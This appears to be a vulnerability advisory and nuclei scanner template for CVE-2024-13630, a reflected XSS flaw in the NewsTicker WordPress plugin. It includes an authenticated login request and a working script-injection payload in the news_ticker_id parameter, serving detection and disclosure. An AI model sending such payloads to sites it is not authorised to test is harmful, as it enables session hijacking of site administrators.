NewsTicker <= 1.0 - Reflected Cross-Site Scripting

mediumseverity

6.1CVSS score

0.6%likelihood of exploitation, next 30 days

49%of all CVEs are less likely

Readycheck to confirm it

NewsTicker WordPress plugin v1.0 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute arbitrary scripts in the context of high privilege users, exploit requires attacker to craft a malicious link.

Impact

Attackers can execute arbitrary scripts in the context of high privilege users, potentially leading to session hijacking or privilege escalation.

Fix

Update to the latest version of the plugin where the issue is fixed or implement proper sanitization and escaping measures.

How to confirm it

Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, 'wordpress_logged_in')
Send: GET /wp-admin/admin.php?page=update_news&news_ticker_id=1"></script><script>alert(document.domain)</script><script>
Positive when: status_code == 200 and contains_all(body, "></script><script>alert(document.domain)</script><script>")

Run it with nuclei: nuclei -id CVE-2024-13630 -u <target>

The full check

id: CVE-2024-13630

info:
  name: NewsTicker <= 1.0 - Reflected Cross-Site Scripting
  author: Sourabh-Sahu
  severity: medium
  description: |
    NewsTicker WordPress plugin v1.0 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute arbitrary scripts in the context of high privilege users, exploit requires attacker to craft a malicious link.
  impact: |
    Attackers can execute arbitrary scripts in the context of high privilege users, potentially leading to session hijacking or privilege escalation.
  remediation: |
    Update to the latest version of the plugin where the issue is fixed or implement proper sanitization and escaping measures.
  reference:
    - https://wpscan.com/vulnerability/15eed487-01ac-4c1e-88f8-26cfa036fb54/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13630
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-13630
    cwe-id: CWE-79
    epss-score: 0.00601
    epss-percentile: 0.491
    cpe: cpe:2.3:a:mahinsha:newsticker:1.0:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: mahinsha
    product: newsticker
    shodan-query: http.component:"WordPress"
    fofa-query: body="news-ticker"
  tags: cve,cve2024,wordpress,wpscan,wp,wp-plugin,newsticker,xss,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, 'wordpress_logged_in')
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=update_news&news_ticker_id=1"></script><script>alert(document.domain)</script><script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "></script><script>alert(document.domain)</script><script>")
        condition: and

References

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